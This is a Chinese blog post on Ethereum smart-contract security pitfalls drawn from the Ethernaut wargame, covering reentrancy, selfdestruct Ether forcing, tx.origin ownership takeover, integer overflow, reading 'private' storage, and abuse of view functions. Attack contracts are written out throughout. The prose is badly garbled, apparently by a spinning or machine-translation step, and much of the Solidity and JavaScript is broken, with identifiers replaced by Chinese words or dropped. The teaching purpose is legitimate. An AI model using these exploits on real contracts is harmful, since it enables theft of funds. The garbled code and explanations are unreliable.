0712月

开发以太坊智能合约要注意的几个坑

ETF智能和约的干杯洞穴反复地涌现,有些人普通和约,比方 token 合约,通常与 OpenZeppelin 为根底,来声称。OpenZeppelin 还开门了系列智能和约练习。:The Ethernaut,这是每一 wargame,眼前有 19 道题,每个成绩都是每一洞穴百出的和约。,hack 那时的我们的可以经过习惯。。顶垂线准备进行,懂得和开展干杯的智能和约,假定你不发生怎样做,你可以翻阅这快跑。:Ethernaut 编撰 Part 1。本篇文字是对标题中关涉的有些人知识点的总结。

Fallback 功用

ETF的智能和约,可以国务的隐姓埋名功用(未命名) 功用,叫做 Fallback 功用,这功用用不着决定因素。,缺勤又来值。。当音讯被发送到和约时,假定缺勤找到婚配功用,它将被喊叫。 fallback 功用。像,让和约,但和约欢迎。 Ether,这么 fallback 功用只得国务的为 payable,别的方法,尝试让给本和约。 ETH 将降低付出代价。列举如下:

function() payable public { // payable 保留字,指导此功用被喊叫。,可向合约转 Ether。
}

送交和约 send、transfer、call 同时喊叫该音讯。 fallback 功用,不同之处符合 send 和 transfer 有 2300 gas 的限度局限,那执意传唤 fallback 的最适当的 2300 gas,这 gas 不得不用于伐木搬运业,因其他的控制将超越 2300 gas。但 call 剩的临到拿走了。 gas 都给 fallback 功用,这可能性致使宫内避孕环喊叫。。

call 可致使重入袭击,把钱让给和约,会大声喊 fallback 功用,列举如下:

contract Reentrance {

  测绘(地址) => 尤因) public balances;

    // 再装填
  function 典赠(地址) 到) public payable {
    使保持均衡〔至〕 += 
  }

  // 反省使保持均衡
  function 地址(地址) 世卫团体) public view returns (英) 均衡) {
    return 使保持均衡[谁]
  }

  // 提现
  function withdraw(英) 概略) public {
    假定(使保持均衡) >= 概略) {
      if(.(概略)()) {
        _amount;
      }
      balances[] -= _amount;
    }
  }

  function() public payable {}
}
   
contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address 目的) public payable {
    entrance = Reentrance(目的);
  }

  function deposit() public payable{
      ();
  }

  function attack() public{
    (0.5 醚)
    (0.5 醚)
  }

  function() public payable{
    (0.5 醚)
  }

  function withdraw() public {
      .transfer();
  }
}

图中描画了袭击快速地流动。:

image

袭击者第一流的喊叫 ReentranceAttack 的 deposit() 功用发送 ETH 给 Reentrance 合约。那时的再大声喊 attack() 取现,向 Reentrance 现钞剽窃恳求,喊叫 withdraw(),当零碎被表现时 withdraw(),愿意盟约 ReentranceAttack 转账,这将触发电器。 ReentranceAttack 的 fallback 功用。再次喊叫此功用。 withdraw(),这致使递归式喊叫(如上文所示)。,白色箭镟情状每一按铃。,直到 gas 费用尽了。,或 Reentrance 和约的使保持均衡决不让的概略。,放弃降低付出代价。

致使ETF差别的和约洞穴 DAO 事情,这执意它被袭击的方法。。我们的将会在喂balances[] -= _amount; 转载前写好。。运用 send()transfer() 开展燃气付出代价,但这可能性致使和约中间的吊销喊叫。 功用可能性因汽油不可。

智能和约的最适宜条件进行,提议运用 push 和 pull, 在 push 党派运用send()transfer(),在pull 党派运用()()。

旁,缺勤变卖 payable fallback 在以下两种经济状况下,和约的商定是可欢迎的 Ether: 1. 运用和约地址作为发掘地址 2. 喊叫其他的和约的自毁功用 selfdestruct,并以和约的地址为决定因素。

A contract without a payable fallback function can receive Ether as a recipient of a coinbase transaction (阿卡 miner block 裁定) or as a destination of a 自毁。

上面的信号可以变卖为未变卖的信号 payable fallback 功用的和约发送 ETH:

contract Force {/*
*/}

contract SelfDestruct {
    address public dest_address;
    
    function SelfDestruct(地址) dest_addr) payable{ // 应结果的组织功用,那时的你可以在布置工夫让和约。。
            dest_address = dest_addr
    } 
    
    function attack(){
        selfdestruct(dest_address); // 喂要任命为销毁时将基金发送的地址。
    }
}

Force 和约未实行。 payable 功用,再假定你经过关于 SelfDestruct 合约,安排时, Force 和约地址出口,同时发送有些人 ETH 给 SelfDestruction,那时的再大声喊。 SelfDestruct 的 attack 功用,手段 selfdestruct,则 SelfDestruct 其余者各种的 ETH 将被发送到 Force。

和 分别,请看上面的信号:

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = ;
  }

  function changeOwner(address 扣留者) public {
    if ( != ) {
      owner = _owner;
    }
  }
}

此处成呼叫,必要另一份和约, 更改和约地址, 表现和约的人。

contract HackTelephone {

  address public contractAddr = 0x9e...; // Telephone 和约地址

  Telephone telephone = Telephone(contractAddr);

  function changeowner() public  {
    ();
  }
}

这使成喊叫相当可能性。 Telephone 的 changeOwner。 solidity 提出申请中间的提议

Never use for 归因于。

整体泛滥

function 转变(地址) _to, uint 付出代价) public returns (乔治英国数学家和逻辑学家) {
    提出要求(过剩的) - _value >= 0);
    balances[] -= _value;
    使保持均衡〔至〕 += _value;
    return true;
  }

传入溢流 _value,那时的转变的标号泛滥。。另外,整体的减法、乘法和除法。,提议运用 OpenZeppelin 变卖的 SafeMath 合约。

和约材料记忆结构

以太工厂的各种的材料都是户外的。,即令国务的为公有变量的材料,请看上面的信号:

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 消息) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 消息) public {
    if (消息) == 消息) {
      locked = false;
    }
  }
}

在世界上,喊叫 (contractAddr) 可以赢得和约的各种的盟员变量。,平民的的或协同的。经过以下 js 信号构成疑问句和否定句 password 值:

var contractAddr = "0x9c...."; // Vault 和约地址
(contractAddr, 1, 功用(x), y) {
     ((y))
});

再看每一探察。:

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function 隐秘的(ByTES32 [ 3 ] ] 材料) public {
    data = _data;
  }
  
  function unlock(bytes16 提供线索) public {
    提出要求(键) == BYTES16(材料〔2〕〕
    locked = false;
  }
}

ETF的各种的盟员变量赢得该和约,constant 变量立即的编译成信号。,缺少的喂。。总恳谈 5 个变量,经过反省:

let contractAddress = ''0x23..''; // 和约地址
for (按生活指数调整) = 0; index < 6; index++){
 storage = (contractAddress, index)
 (`[${index}]` + storage)

出口:

[0]0x0000000000000000000000000000000000000000000000000000007be0ff0a00
[1]0x01041553ed361174f92060a8390cbefad285f66969f14e9847bf233be4f252ec
[2]0xbcc6a03856edf34bf363b4ba202925265d535cbeadbc0d71ed3b3cef79b2116c
[3]0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000

第一流的出口剖析,0x7be0ff0a00,对应和约变量:妖法的真值,10十六二元系 0x0a,255十六二元系 0xff,0x7be0ff0a00 基本原理六岁唯一的这些付出代价的拼接。,而 0x7be0 将会执意 awkwardness 的值,和约合不满足的 32 八位字节的变量。为了,[1][2][3] 执意 data 这八位字节障碍物,因而我们的可以判别 材料〔2〕 0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54。照着,不要在与平民的和约同上的经济状况下立即的作出批准意见。,一切都是可见的。!

view 和 pure

假定要国务的只读功用,不修正合约材料,通常,功用被宣告为 view 和 pure,它们的界限:

View Functions
Functions can be declared view in which case they promise not to modify the 情状。

Pure Functions
Functions can be declared pure in which case they promise not to read from or modify the 情状。

功用可以国务的为看待而不零钱情状。但这是涣散的。,流传的 Solidity 汇编者不武力表现看待功用(看待)。 功用或常数功用(constant 功用不克不及修正情状。而且缺勤武力纯功用。 功用不读取情状通知。因而宣告每一 view 和 pure 功用,不克不及干杯材料情状不会的被修正。。请看上面的信号:

interface Building {
  function isLastFloor(尤因) view public returns (乔治英国数学家和逻辑学家);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(英) 打倒) public {
    Building building = Building();

    if (! (打倒)) {
      floor = _floor;
      top = (打倒)
    }
  }
}

isLastFloor 被宣告为 view,再我们的可以写每一可以被控制的情状。 isLastFloor 功用,又来 true,所以修正 Elevator 的 top 和 floor 变量,列举如下:

contract HackBuilding {   
    bool isLast = true;
    function isLastFloor(尤因)  public returns (乔治英国数学家和逻辑学家) {
        isLast = !isLast;
        return isLast;
    }
    
    function 黑客袭击(地址) 目的) public {
        Elevator elevator = Elevator(目的);
        (10);
    }
}

总结:

  1. fallback 功用:要向和约地址转账,要变卖 payable fallback 功用。即令缺勤变卖 payable fallback 功用,和约可欢迎两种经济状况 ETH:矿业股发掘 ETH 收益,另每一和约称为自毁功用。 selfdestruct 任命和约的被指定人。
  2. 重入袭击,转变控制运用 send() 或许 transfer() 放量克制不要运用 call ,呼叫限度局限 gas 值。
  3. 以太任务坊中间的无论什么材料都是吐艳的,即令是在智能和约中户外的变量。
  4. 不要用 力量检验。
  5. 反省整体泛滥,运用 MathSafe 库。
  6. 不以为国务的为 view 或 pure 功用老是只读的。。

发表评论

电子邮件地址不会被公开。 必填项已用*标注